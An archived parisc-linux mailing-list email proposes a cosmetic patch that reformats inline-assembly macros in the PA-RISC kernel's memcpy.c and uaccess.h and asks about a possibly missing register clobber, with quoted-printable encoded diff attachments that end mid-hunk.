	Tue, 11 Apr 2006 03:37:40 -0600 (MDT)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by xizor.is.scarlet.be  with ESMTP id k3B9bcK14734 
	for <parisc-linux@lists.parisc-linux.org>; 
	Tue, 11 Apr 2006 11:37:38 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vQ1aIE0va0Aovr6aejEzMzQ3Njh6dI6S
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23566

--_=__=_XaM3_.1144748258.2A.816162.42.473.52.42.007.1772815055
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Hello all,

Reading some .s output like memcpy, I was worry that some labels was not =
in
the column as e.g.:
       pmc_store_exc:
[...]
       1:      ldw 0(%sr1,%r19), %r22
[...]

or otc code in first column:
[...]
shrpw %r3, %r1, %sar, %r28

here I attache a patch
--- linux-2.6.17-rc1-pa1/arch/parisc/lib/memcpy.c.Orig  2006-04-10
07:24:31.000000000 +0000
+++ linux-2.6.17-rc1-pa1/arch/parisc/lib/memcpy.c       2006-04-10
15:05:38.000000000 +0000
@@ -79,20 +79,24 @@
 #define get_user_space() (segment_eq(get_fs(), KERNEL_DS) ? 0 : mfsp(3))=

 #define get_kernel_space() (0)
 
-#define MERGE(w0, sh_1, w1, sh_2)  ({                                  \=

+#define MERGE(w0, sh_1, w1, sh_2)      ({                              \=

        unsigned int _r;                                                \=

-       asm volatile (                                                  \=

-       "mtsar %3\n"                                                    \=

-       "shrpw %1, %2, %%sar, %0\n"                                     \=

-       : "=3Dr"(_r)                                                     =
 \
-       : "r"(w0), "r"(w1), "r"(sh_2)                                   \=

+       __asm__ __volatile__ ("\n"                                      \=

+       "       mtsar           %3\n"                                   \=

+       "       shrpw           %1, %2,%%sar, %0"                       \=

+               : "=3Dr"(_r)                                             =
 \
+               : "r"(w0), "r"(w1), "r"(sh_2)                           \=

        );                                                              \=

        _r;                                                             \=

 })
 #define THRESHOLD      16
 
 #ifdef DEBUG_MEMCPY
-#define DPRINTF(fmt, args...) do { printk(KERN_DEBUG "%s:%d:%s ", __FILE=
__,
__LINE__, __FUNCTION__ ); printk(KERN_DEBUG fmt, ##args
 ); } while (0)
+#define DPRINTF(fmt, args...) do {                                     \=

+       printk(KERN_DEBUG "%s:%d:%s ",                                  \=

+               __FILE__, __LINE__, __FUNCTION__ );                     \=

+       printk(KERN_DEBUG fmt, ##args );                                \=

+} while (0)
 #else
 #define DPRINTF(fmt, args...)
 #endif
@@ -103,69 +107,81 @@
 #define EXC_WORD ".dword"
 #endif
 
-#define def_load_ai_insn(_insn,_sz,_tt,_s,_a,_t,_e)    \
-       __asm__ __volatile__ (                          \
-       "1:\t" #_insn ",ma " #_sz "(" _s ",%1), %0\n"   \
-       "\t.section __ex_table,\"aw\"\n"                \
-       "\t" EXC_WORD "\t1b\n"                          \
-       "\t" EXC_WORD "\t" #_e "\n"                     \
-       "\t.previous\n"                                 \
-       : _tt(_t), "+r"(_a)                             \
-       :                                               \
-       : "r8")
-
-#define def_store_ai_insn(_insn,_sz,_tt,_s,_a,_t,_e)   \
-       __asm__ __volatile__ (                          \
-       "1:\t" #_insn ",ma %1, " #_sz "(" _s ",%0)\n"   \
-       "\t.section __ex_table,\"aw\"\n"                \
-       "\t" EXC_WORD "\t1b\n"                          \
-       "\t" EXC_WORD "\t" #_e "\n"                     \
-       "\t.previous\n"                                 \
-       : "+r"(_a)                                      \
-       : _tt(_t)                                       \
-       : "r8")
-
-#define ldbma(_s, _a, _t, _e) def_load_ai_insn(ldbs,1,"=3Dr",_s,_a,_t,_e=
)
-#define stbma(_s, _t, _a, _e) def_store_ai_insn(stbs,1,"r",_s,_a,_t,_e)
-#define ldwma(_s, _a, _t, _e) def_load_ai_insn(ldw,4,"=3Dr",_s,_a,_t,_e)=

-#define stwma(_s, _t, _a, _e) def_store_ai_insn(stw,4,"r",_s,_a,_t,_e)
-#define flddma(_s, _a, _t, _e) def_load_ai_insn(fldd,8,"=3Df",_s,_a,_t,_=
e)
-#define fstdma(_s, _t, _a, _e) def_store_ai_insn(fstd,8,"f",_s,_a,_t,_e)=

-
-#define def_load_insn(_insn,_tt,_s,_o,_a,_t,_e)        \
-       __asm__ __volatile__ (                          \
-       "1:\t" #_insn " " #_o "(" _s ",%1), %0\n"       \
-       "\t.section __ex_table,\"aw\"\n"                \
-       "\t" EXC_WORD "\t1b\n"                          \
-       "\t" EXC_WORD "\t" #_e "\n"                     \
-       "\t.previous\n"                                 \
-       : _tt(_t)                                       \
-       : "r"(_a)                                       \
-       : "r8")
-
-#define def_store_insn(_insn,_tt,_s,_t,_o,_a,_e)       \
-       __asm__ __volatile__ (                          \
-       "1:\t" #_insn " %0, " #_o "(" _s ",%1)\n"       \
-       "\t.section __ex_table,\"aw\"\n"                \
-       "\t" EXC_WORD "\t1b\n"                          \
-       "\t" EXC_WORD "\t" #_e "\n"                     \
-       "\t.previous\n"                                 \
-       :                                               \
-       : _tt(_t), "r"(_a)                              \
-       : "r8")
+#define def_load_ai_insn(_insn, _sz, _tt, _s, _a, _t, _e)              \=

+       __asm__ __volatile__ ("\n"                                      \=

+       "1:     " #_insn ",ma           " #_sz "(" _s ", %1), %0\n"     \=

+       "       .section __ex_table,\"aw\"\n"                           \=

+       "       " EXC_WORD "    1b\n"                                   \=

+       "       " EXC_WORD "    " #_e "\n"                              \=

+       "       .previous"                                              \=

+               : _tt(_t), "+r"(_a)                                     \=

+               :                                                       \=

+               : "r8"                                                  \=

+       )
+
+#define def_store_ai_insn(_insn, _sz, _tt, _s, _a, _t, _e)             \=

+       __asm__ __volatile__ ("\n"                                      \=

+       "1:     " #_insn ",ma           %1, " #_sz "(" _s ", %0)\n"     \=

+       "       .section __ex_table,\"aw\"\n"                           \=

+       "       " EXC_WORD "    1b\n"                                   \=

+       "       " EXC_WORD "    " #_e "\n"                              \=

+       "       .previous"                                              \=

+               : "+r"(_a)                                              \=

+               : _tt(_t)                                               \=

+               : "r8"                                                  \=

+       )
+
+#define ldbma(_s, _a, _t, _e) def_load_ai_insn(ldbs, 1, "=3Dr", _s, _a, =
_t, _e)
+#define stbma(_s, _t, _a, _e) def_store_ai_insn(stbs, 1, "r", _s, _a, _t=
, _e)
+#define ldwma(_s, _a, _t, _e) def_load_ai_insn(ldw, 4, "=3Dr", _s, _a, _=
t, _e)
+#define stwma(_s, _t, _a, _e) def_store_ai_insn(stw, 4, "r", _s, _a, _t,=
 _e)
+#define flddma(_s, _a, _t, _e) def_load_ai_insn(fldd, 8, "=3Df", _s, _a,=
 _t, _e)
+#define fstdma(_s, _t, _a, _e) def_store_ai_insn(fstd, 8, "f", _s, _a, _=
t, _e)
+
+#define def_load_insn(_insn, _tt, _s, _o, _a, _t, _e)                  \=

+       __asm__ __volatile__ ("\n"                                      \=

+       "1:     " #_insn "              " #_o "(" _s ", %1), %0\n"      \=

+       "       .section __ex_table,\"aw\"\n"                           \=

+       "       " EXC_WORD "    1b\n"                                   \=

+       "       " EXC_WORD "    " #_e "\n"                              \=

+       "       .previous"                                              \=

+               : _tt(_t)                                               \=

+               : "r"(_a)                                               \=

+               : "r8"                                                  \=

+       )
+
+#define def_store_insn(_insn, _tt, _s, _t, _o, _a, _e)                 \=

+       __asm__ __volatile__ ("\n"                                      \=

+       "1:     " #_insn "              %0, " #_o "(" _s ", %1)\n"      \=

+       "       .section __ex_table,\"aw\"\n"                           \=

+       "       " EXC_WORD "    1b\n"                                   \=

+       "       " EXC_WORD "    " #_e "\n"                              \=

+       "       .previous"                                              \=

+               :                                                       \=

+               : _tt(_t), "r"(_a)                                      \=

+               : "r8"                                                  \=

+       )
 
-#define ldw(_s,_o,_a,_t,_e)    def_load_insn(ldw,"=3Dr",_s,_o,_a,_t,_e)
-#define stw(_s,_t,_o,_a,_e)    def_store_insn(stw,"r",_s,_t,_o,_a,_e)
+#define ldw(_s, _o, _a, _t, _e)        def_load_insn(ldw, "=3Dr", _s, _o=
, _a,
_t, _e)
+#define stw(_s, _t, _o, _a, _e)        def_store_insn(stw, "r", _s, _t, =
_o,
_a, _e)
 
 #ifdef  CONFIG_PREFETCH
 extern inline void prefetch_src(const void *addr)
 {
-       __asm__("ldw 0(" s_space ",%0), %%r0" : : "r" (addr));
+       __asm__ ("\n"
+       "       ldw             0(" s_space ", %0), %%r0"
+               :
+               : "r" (addr)
+       );
 }
 
 extern inline void prefetch_dst(const void *addr)
 {
-       __asm__("ldd 0(" d_space ",%0), %%r0" : : "r" (addr));
+       __asm__ ("\n"
+       "       ldd             0(" d_space ", %0), %%r0"
+               :
+               : "r" (addr)
+       );
 }
 #else
 #define prefetch_src(addr)
@@ -278,14 +294,14 @@
        return 0;
 
 handle_load_error:
-       __asm__ __volatile__ ("cda_ldw_exc:\n");
+       __asm__ __volatile__ ("\ncda_ldw_exc:\n");
        d =3D &__get_cpu_var(exception_data);
        DPRINTF("cda_ldw_exc: o_len=3D%lu fault_addr=3D%lu o_src=3D%lu re=
t=3D%lu\n",
                o_len, d->fault_addr, o_src, o_len - d->fault_addr + o_sr=
c);
        return o_len * 4 - d->fault_addr + o_src;
 
 handle_store_error:
-       __asm__ __volatile__ ("cda_stw_exc:\n");
+       __asm__ __volatile__ ("\ncda_stw_exc:\n");
        d =3D &__get_cpu_var(exception_data);
        DPRINTF("cda_stw_exc: o_len=3D%lu fault_addr=3D%lu o_dst=3D%lu re=
t=3D%lu\n",
                o_len, d->fault_addr, o_dst, o_len - d->fault_addr + o_ds=
t);
@@ -374,7 +390,7 @@
 
 word_copy:
        while (len >=3D 8*sizeof(unsigned int)) {
-               register unsigned int r1,r2,r3,r4,r5,r6,r7,r8;
+               register unsigned int r1, r2, r3, r4, r5, r6, r7, r8;
                /* prefetch_src((char *)pws + L1_CACHE_BYTES); */
                ldwma(s_space, pws, r1, pmc_load_exc);
                ldwma(s_space, pws, r2, pmc_load_exc);
@@ -397,7 +413,7 @@
        }
 
        while (len >=3D 4*sizeof(unsigned int)) {
-               register unsigned int r1,r2,r3,r4;
+               register unsigned int r1, r2, r3, r4;
                ldwma(s_space, pws, r1, pmc_load_exc);
                ldwma(s_space, pws, r2, pmc_load_exc);
                ldwma(s_space, pws, r3, pmc_load_exc);
@@ -472,14 +488,14 @@
        goto byte_copy;
 
 handle_load_error:
-       __asm__ __volatile__ ("pmc_load_exc:\n");
+       __asm__ __volatile__ ("\npmc_load_exc:\n");
        d =3D &__get_cpu_var(exception_data);
        DPRINTF("pmc_load_exc: o_len=3D%lu fault_addr=3D%lu o_src=3D%lu r=
et=3D%lu\n",
                o_len, d->fault_addr, o_src, o_len - d->fault_addr + o_sr=
c);
        return o_len - d->fault_addr + o_src;
 
 handle_store_error:
-       __asm__ __volatile__ ("pmc_store_exc:\n");
+       __asm__ __volatile__ ("\npmc_store_exc:\n");
        d =3D &__get_cpu_var(exception_data);
        DPRINTF("pmc_store_exc: o_len=3D%lu fault_addr=3D%lu o_dst=3D%lu =
ret=3D%lu\n",
                o_len, d->fault_addr, o_dst, o_len - d->fault_addr + o_ds=
t);
=3D=3D=3D=3D<>=3D=3D=3D=3D

 which seems to make the drill:
-       pmc_store_exc:
+
+pmc_store_exc:
 
 #NO_APP
        addil LR'per_cpu__exception_data-$global$,%r27
@@ -450,37 +451,37 @@
        ldi 0,%r1
 .L38:
 #APP
-       1:      ldw 0(%sr1,%r19), %r22
+
+1:     ldw             0(%sr1, %r19), %r22
        .section __ex_table,"aw"
        .word   1b
        .word   cda_ldw_exc
        .previous
-
-       mtsar %r29
-shrpw %r3, %r1, %sar, %r28
-
-       1:      stw %r28, 0(%sr2,%r20)
+
+       mtsar           %r29
+       shrpw           %r3, %r1,%sar, %r28
+
+1:     stw             %r28, 0(%sr2, %r20)
[...]

Not sure it was usefull but that made me attemptimg to use a same asm blo=
c
template. 

BTW, I tried to apply the same template to some uaccess.h and figure out =
that
this hunk din't mentioned that "r1" was cloberred (iirc in fixup text) wh=
ile
the 32bit one did:
 
#ifdef __LP64__
#define __put_kernel_asm(stx,x,ptr)                         \
       __asm__ __volatile__ (                              \
               "\n1:\t" stx "\t%2,0(%1)\n"                 \
               "\t.section __ex_table,\"aw\"\n"            \
               "\t.dword\t1b,fixup_put_user_skip_1\n"      \
               "\t.previous"                               \
               : "=3Dr"(__pu_err)                            \
               : "r"(ptr), "r"(x), "0"(__pu_err))
[snip]
#else
#define __put_kernel_asm(stx,x,ptr)                         \
       __asm__ __volatile__ (                              \
               "\n1:\t" stx "\t%2,0(%1)\n"                 \
               "\t.section __ex_table,\"aw\"\n"            \
                "\t.word\t1b,fixup_put_user_skip_1\n"      \
                "\t.previous"                              \
               : "=3Dr"(__pu_err)                            \
               : "r"(ptr), "r"(x), "0"(__pu_err)           \
               : "r1")
[snip]

mmm, doen't seems to change anything (I just check sys_parisc32.s) but ma=
y be
else where?

Thanks,
    Joel


=0A=0A---------------------------------------------------------------=0AA=
 free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore inf=
o on http://www.scarlet.be/
--_=__=_XaM3_.1144748258.2A.816162.42.473.52.42.007.1772815055
Content-Type: text/plain;
	name="=?iso-8859-1?Q?memcpy.c.beautify.diff?="
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="=?iso-8859-1?Q?memcpy.c.beautify.diff?="

--- linux-2.6.17-rc1-pa1/arch/parisc/lib/memcpy.c.Orig	2006-04-10 07:24:3=
1.000000000 +0000=0A+++ linux-2.6.17-rc1-pa1/arch/parisc/lib/memcpy.c	200=
6-04-10 15:05:38.000000000 +0000=0A@@ -79,20 +79,24 @@=0A #define get_use=
r_space() (segment_eq(get_fs(), KERNEL_DS) ? 0 : mfsp(3))=0A #define get_=
kernel_space() (0)=0A =0A-#define MERGE(w0, sh_1, w1, sh_2)  ({					\=0A+=
#define MERGE(w0, sh_1, w1, sh_2)	({				\=0A 	unsigned int _r;						\=0A-=
	asm volatile (							\=0A-	"mtsar %3\n"							\=0A-	"shrpw %1, %2, %%sar=
, %0\n"					\=0A-	: "=3Dr"(_r)							\=0A-	: "r"(w0), "r"(w1), "r"(sh_2)	=
				\=0A+	__asm__ __volatile__ ("\n"					\=0A+	"	mtsar		%3\n"					\=0A+	"=
	shrpw		%1, %2,%%sar, %0"			\=0A+		: "=3Dr"(_r)						\=0A+		: "r"(w0), "r=
"(w1), "r"(sh_2)				\=0A 	);								\=0A 	_r;								\=0A })=0A #define T=
HRESHOLD	16=0A =0A #ifdef DEBUG_MEMCPY=0A-#define DPRINTF(fmt, args...) d=
o { printk(KERN_DEBUG "%s:%d:%s ", __FILE__, __LINE__, __FUNCTION__ ); pr=
intk(KERN_DEBUG fmt, ##args ); } while (0)=0A+#define DPRINTF(fmt, args..=
.) do {					\=0A+	printk(KERN_DEBUG "%s:%d:%s ",					\=0A+		__FILE__, __L=
INE__, __FUNCTION__ );			\=0A+	printk(KERN_DEBUG fmt, ##args );				\=0A+}=
 while (0)=0A #else=0A #define DPRINTF(fmt, args...)=0A #endif=0A@@ -103,=
69 +107,81 @@=0A #define EXC_WORD ".dword"=0A #endif=0A =0A-#define def_l=
oad_ai_insn(_insn,_sz,_tt,_s,_a,_t,_e)	\=0A-	__asm__ __volatile__ (				\=0A=
-	"1:\t" #_insn ",ma " #_sz "(" _s ",%1), %0\n" 	\=0A-	"\t.section __ex_t=
able,\"aw\"\n"		\=0A-	"\t" EXC_WORD "\t1b\n"				\=0A-	"\t" EXC_WORD "\t" =
#_e "\n"			\=0A-	"\t.previous\n"					\=0A-	: _tt(_t), "+r"(_a)				\=0A-	:=
 						\=0A-	: "r8")=0A-=0A-#define def_store_ai_insn(_insn,_sz,_tt,_s,_a=
,_t,_e) 	\=0A-	__asm__ __volatile__ (				\=0A-	"1:\t" #_insn ",ma %1, " #=
_sz "(" _s ",%0)\n" 	\=0A-	"\t.section __ex_table,\"aw\"\n"		\=0A-	"\t" E=
XC_WORD "\t1b\n"				\=0A-	"\t" EXC_WORD "\t" #_e "\n"			\=0A-	"\t.previou=
s\n"					\=0A-	: "+r"(_a) 					\=0A-	: _tt(_t)					\=0A-	: "r8")=0A-=0A-#=
define ldbma(_s, _a, _t, _e) def_load_ai_insn(ldbs,1,"=3Dr",_s,_a,_t,_e)=0A=
-#define stbma(_s, _t, _a, _e) def_store_ai_insn(stbs,1,"r",_s,_a,_t,_e)=0A=
-#define ldwma(_s, _a, _t, _e) def_load_ai_insn(ldw,4,"=3Dr",_s,_a,_t,_e)=
=0A-#define stwma(_s, _t, _a, _e) def_store_ai_insn(stw,4,"r",_s,_a,_t,_e=
)=0A-#define flddma(_s, _a, _t, _e) def_load_ai_insn(fldd,8,"=3Df",_s,_a,=
_t,_e)=0A-#define fstdma(_s, _t, _a, _e) def_store_ai_insn(fstd,8,"f",_s,=
_a,_t,_e)=0A-=0A-#define def_load_insn(_insn,_tt,_s,_o,_a,_t,_e) 	\=0A-	_=
_asm__ __volatile__ (				\=0A-	"1:\t" #_insn " " #_o "(" _s ",%1), %0\n"	=
\=0A-	"\t.section __ex_table,\"aw\"\n"		\=0A-	"\t" EXC_WORD "\t1b\n"				\=
=0A-	"\t" EXC_WORD "\t" #_e "\n"			\=0A-	"\t.previous\n"					\=0A-	: _tt(=
_t) 					\=0A-	: "r"(_a)					\=0A-	: "r8")=0A-=0A-#define def_store_insn(=
_insn,_tt,_s,_t,_o,_a,_e) 	\=0A-	__asm__ __volatile__ (				\=0A-	"1:\t" #=
_insn " %0, " #_o "(" _s ",%1)\n" 	\=0A-	"\t.section __ex_table,\"aw\"\n"=
		\=0A-	"\t" EXC_WORD "\t1b\n"				\=0A-	"\t" EXC_WORD "\t" #_e "\n"			\=0A=
-	"\t.previous\n"					\=0A-	: 						\=0A-	: _tt(_t), "r"(_a)				\=0A-	: "=
r8")=0A+#define def_load_ai_insn(_insn, _sz, _tt, _s, _a, _t, _e)		\=0A+	=
__asm__ __volatile__ ("\n"					\=0A+	"1:	" #_insn ",ma		" #_sz "(" _s ", =
%1), %0\n"	\=0A+	"	.section __ex_table,\"aw\"\n"				\=0A+	"	" EXC_WORD "	=
1b\n"					\=0A+	"	" EXC_WORD "	" #_e "\n"				\=0A+	"	.previous"						\=0A=
+		: _tt(_t), "+r"(_a)					\=0A+		: 							\=0A+		: "r8"							\=0A+	)=0A=
+=0A+#define def_store_ai_insn(_insn, _sz, _tt, _s, _a, _t, _e)		\=0A+	__=
asm__ __volatile__ ("\n"					\=0A+	"1:	" #_insn ",ma		%1, " #_sz "(" _s "=
, %0)\n" 	\=0A+	"	.section __ex_table,\"aw\"\n"				\=0A+	"	" EXC_WORD "	1=
b\n"					\=0A+	"	" EXC_WORD "	" #_e "\n"				\=0A+	"	.previous"						\=0A+=
		: "+r"(_a) 						\=0A+		: _tt(_t)						\=0A+		: "r8"							\=0A+	)=0A+=0A=
+#define ldbma(_s, _a, _t, _e) def_load_ai_insn(ldbs, 1, "=3Dr", _s, _a, =
_t, _e)=0A+#define stbma(_s, _t, _a, _e) def_store_ai_insn(stbs, 1, "r", =
_s, _a, _t, _e)=0A+#define ldwma(_s, _a, _t, _e) def_load_ai_insn(ldw, 4,=
 "=3Dr", _s, _a, _t, _e)=0A+#define stwma(_s, _t, _a, _e) def_store_ai_in=
sn(stw, 4, "r", _s, _a, _t, _e)=0A+#define flddma(_s, _a, _t, _e) def_loa=
d_ai_insn(fldd, 8, "=3Df", _s, _a, _t, _e)=0A+#define fstdma(_s, _t, _a, =
_e) def_store_ai_insn(fstd, 8, "f", _s, _a, _t, _e)=0A+=0A+#define def_lo=
ad_insn(_insn, _tt, _s, _o, _a, _t, _e) 			\=0A+	__asm__ __volatile__ ("\=
n"					\=0A+	"1:	" #_insn "		" #_o "(" _s ", %1), %0\n"	\=0A+	"	.section =
__ex_table,\"aw\"\n"				\=0A+	"	" EXC_WORD "	1b\n"					\=0A+	"	" EXC_WORD=
 "	" #_e "\n"				\=0A+	"	.previous"						\=0A+		: _tt(_t) 						\=0A+		: =
"r"(_a)						\=0A+		: "r8"							\=0A+	)=0A+=0A+#define def_store_insn(_i=
nsn, _tt, _s, _t, _o, _a, _e)			\=0A+	__asm__ __volatile__ ("\n"					\=0A=
+	"1:	" #_insn "		%0, " #_o "(" _s ", %1)\n"	\=0A+	"	.section __ex_table,=
\"aw\"\n"				\=0A+	"	" EXC_WORD "	1b\n"					\=0A+	"	" EXC_WORD "	" #_e "\=
n"				\=0A+	"	.previous"						\=0A+		: 							\=0A+		: _tt(_t), "r"(_a)		=
			\=0A+		: "r8"							\=0A+	)=0A =0A-#define ldw(_s,_o,_a,_t,_e)	def_loa=
d_insn(ldw,"=3Dr",_s,_o,_a,_t,_e)=0A-#define stw(_s,_t,_o,_a,_e) 	def_sto=
re_insn(stw,"r",_s,_t,_o,_a,_e)=0A+#define ldw(_s, _o, _a, _t, _e)	def_lo=
ad_insn(ldw, "=3Dr", _s, _o, _a, _t, _e)=0A+#define stw(_s, _t, _o, _a, _=
e)	def_store_insn(stw, "r", _s, _t, _o, _a, _e)=0A =0A #ifdef  CONFIG_PRE=
FETCH=0A extern inline void prefetch_src(const void *addr)=0A {=0A-	__asm=
__("ldw 0(" s_space ",%0), %%r0" : : "r" (addr));=0A+	__asm__ ("\n"=0A+	"=
	ldw		0(" s_space ", %0), %%r0"=0A+		:=0A+		: "r" (addr)=0A+	);=0A }=0A =0A=
 extern inline void prefetch_dst(const void *addr)=0A {=0A-	__asm__("ldd =
0(" d_space ",%0), %%r0" : : "r" (addr));=0A+	__asm__ ("\n"=0A+	"	ldd		0(=
" d_space ", %0), %%r0"=0A+		:=0A+		: "r" (addr)=0A+	);=0A }=0A #else=0A =
#define prefetch_src(addr)=0A@@ -278,14 +294,14 @@=0A 	return 0;=0A =0A h=
andle_load_error:=0A-	__asm__ __volatile__ ("cda_ldw_exc:\n");=0A+	__asm_=
_ __volatile__ ("\ncda_ldw_exc:\n");=0A 	d =3D &__get_cpu_var(exception_d=
ata);=0A 	DPRINTF("cda_ldw_exc: o_len=3D%lu fault_addr=3D%lu o_src=3D%lu =
ret=3D%lu\n",=0A 		o_len, d->fault_addr, o_src, o_len - d->fault_addr + o=
_src);=0A 	return o_len * 4 - d->fault_addr + o_src;=0A =0A handle_store_=
error:=0A-	__asm__ __volatile__ ("cda_stw_exc:\n");=0A+	__asm__ __volatil=
e__ ("\ncda_stw_exc:\n");=0A 	d =3D &__get_cpu_var(exception_data);=0A 	D=
PRINTF("cda_stw_exc: o_len=3D%lu fault_addr=3D%lu o_dst=3D%lu ret=3D%lu\n=
",=0A 		o_len, d->fault_addr, o_dst, o_len - d->fault_addr + o_dst);=0A@@=
 -374,7 +390,7 @@=0A =0A word_copy:=0A 	while (len >=3D 8*sizeof(unsigned=
 int)) {=0A-		register unsigned int r1,r2,r3,r4,r5,r6,r7,r8;=0A+		registe=
r unsigned int r1, r2, r3, r4, r5, r6, r7, r8;=0A 		/* prefetch_src((char=
 *)pws + L1_CACHE_BYTES); */=0A 		ldwma(s_space, pws, r1, pmc_load_exc);=0A=
 		ldwma(s_space, pws, r2, pmc_load_exc);=0A@@ -397,7 +413,7 @@=0A 	}=0A =
=0A 	while (len >=3D 4*sizeof(unsigned int)) {=0A-		register unsigned int=
 r1,r2,r3,r4;=0A+		register unsigned int r1, r2, r3, r4;=0A 		ldwma(s_spa=
ce, pws, r1, pmc_load_exc);=0A 		ldwma(s_space, pws, r2, pmc_load_exc);=0A=
 		ldwma(s_space, pws, r3, pmc_load_exc);=0A@@ -472,14 +488,14 @@=0A 	got=
o byte_copy;=0A =0A handle_load_error:=0A-	__asm__ __volatile__ ("pmc_loa=
d_exc:\n");=0A+	__asm__ __volatile__ ("\npmc_load_exc:\n");=0A 	d =3D &__=
get_cpu_var(exception_data);=0A 	DPRINTF("pmc_load_exc: o_len=3D%lu fault=
_addr=3D%lu o_src=3D%lu ret=3D%lu\n",=0A 		o_len, d->fault_addr, o_src, o=
_len - d->fault_addr + o_src);=0A 	return o_len - d->fault_addr + o_src;=0A=
 =0A handle_store_error:=0A-	__asm__ __volatile__ ("pmc_store_exc:\n");=0A=
+	__asm__ __volatile__ ("\npmc_store_exc:\n");=0A 	d =3D &__get_cpu_var(e=
xception_data);=0A 	DPRINTF("pmc_store_exc: o_len=3D%lu fault_addr=3D%lu =
o_dst=3D%lu ret=3D%lu\n",=0A 		o_len, d->fault_addr, o_dst, o_len - d->fa=
ult_addr + o_dst);=0A
--_=__=_XaM3_.1144748258.2A.816162.42.473.52.42.007.1772815055
Content-Type: text/plain;
	name="=?iso-8859-1?Q?uaccess.h.beautify.diff?="
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="=?iso-8859-1?Q?uaccess.h.beautify.diff?="

--- linux-2.6.17-rc1-pa1/include/asm-parisc/uaccess.h.Orig	2006-04-10 14:=
05:32.000000000 +0000=0A+++ linux-2.6.17-rc1-pa1/include/asm-parisc/uacce=
ss.h	2006-04-10 16:28:14.000000000 +0000=0A@@ -76,97 +76,122 @@=0A 	unsig=
ned long fault_addr;=0A };=0A =0A-#define __get_user(x,ptr)              =
                 \=0A-({                                                 =
     \=0A-	register long __gu_err __asm__ ("r8") =3D 0;      \=0A-	regist=
er long __gu_val __asm__ ("r9") =3D 0;      \=0A-							\=0A-	if (segment=
_eq(get_fs(),KERNEL_DS)) {           \=0A-	    switch (sizeof(*(ptr))) { =
                  \=0A-	    case 1: __get_kernel_asm("ldb",ptr); break; \=
=0A-	    case 2: __get_kernel_asm("ldh",ptr); break; \=0A-	    case 4: __=
get_kernel_asm("ldw",ptr); break; \=0A-	    case 8: LDD_KERNEL(ptr); brea=
k;		\=0A-	    default: __get_kernel_bad(); break;         \=0A-	    }    =
                                       \=0A-	}                           =
                    \=0A-	else {                                         =
 \=0A-	    switch (sizeof(*(ptr))) {                   \=0A-	    case 1: =
__get_user_asm("ldb",ptr); break;   \=0A-	    case 2: __get_user_asm("ldh=
",ptr); break;   \=0A-	    case 4: __get_user_asm("ldw",ptr); break;   \=0A=
-	    case 8: LDD_USER(ptr);  break;		\=0A-	    default: __get_user_bad()=
; break;           \=0A-	    }                                           =
\=0A-	}                                               \=0A-							\=0A-	(=
x) =3D (__typeof__(*(ptr))) __gu_val;            \=0A-	__gu_err;         =
                              \=0A+#define __get_user(x, ptr)	({				\=0A+=
								\=0A+	register long __gu_err __asm__ ("r8") =3D 0;		\=0A+	registe=
r long __gu_val __asm__ ("r9") =3D 0;		\=0A+								\=0A+	if (segment_eq(=
get_fs(), KERNEL_DS)) {			\=0A+		switch (sizeof(*(ptr))) {			\=0A+			case=
 1: __get_kernel_asm("ldb", ptr);	\=0A+				break;				\=0A+			case 2: __ge=
t_kernel_asm("ldh", ptr);	\=0A+				break;				\=0A+			case 4: __get_kernel=
_asm("ldw", ptr);	\=0A+				break;				\=0A+			case 8: LDD_KERNEL(ptr);		\=0A=
+				break;				\=0A+			default: __get_kernel_bad();		\=0A+				break;				\=
=0A+		}						\=0A+	} else {						\=0A+		switch (sizeof(*(ptr))) {			\=0A+=
			case 1: __get_user_asm("ldb", ptr);	\=0A+				break;				\=0A+			case 2:=
 __get_user_asm("ldh", ptr);	\=0A+				break;				\=0A+			case 4: __get_use=
r_asm("ldw", ptr);	\=0A+				break;				\=0A+			case 8: LDD_USER(ptr);			\=0A=
+				break;				\=0A+			default: __get_user_bad();		\=0A+				break;				\=0A=
+		}						\=0A+	}							\=0A+								\=0A+	(x) =3D (__typeof__(*(ptr))) _=
_gu_val;			\=0A+	__gu_err;						\=0A })=0A =0A #ifdef __LP64__=0A-#define=
 __get_kernel_asm(ldx,ptr)                       \=0A-	__asm__("\n1:\t" l=
dx "\t0(%2),%0\n"             \=0A-		"\t.section __ex_table,\"aw\"\n"    =
    \=0A-		"\t.dword\t1b,fixup_get_user_skip_1\n"	\=0A-		"\t.previous"   =
                       	\=0A-		: "=3Dr"(__gu_val), "=3Dr"(__gu_err)      =
  \=0A+#define __get_kernel_asm(ldx, ptr)			\=0A+	__asm__ ("\n"					\=0A+=
	"1:	" ldx "		0(%2), %0\n"		\=0A+	"	.section __ex_table,\"aw\"\n"		\=0A+	=
"	.dword	1b, fixup_get_user_skip_1\n"	\=0A+	"	.previous"				\=0A+		: "=3D=
r"(__gu_val), "=3Dr"(__gu_err)	\=0A 		: "r"(ptr), "1"(__gu_err)		\=0A-		:=
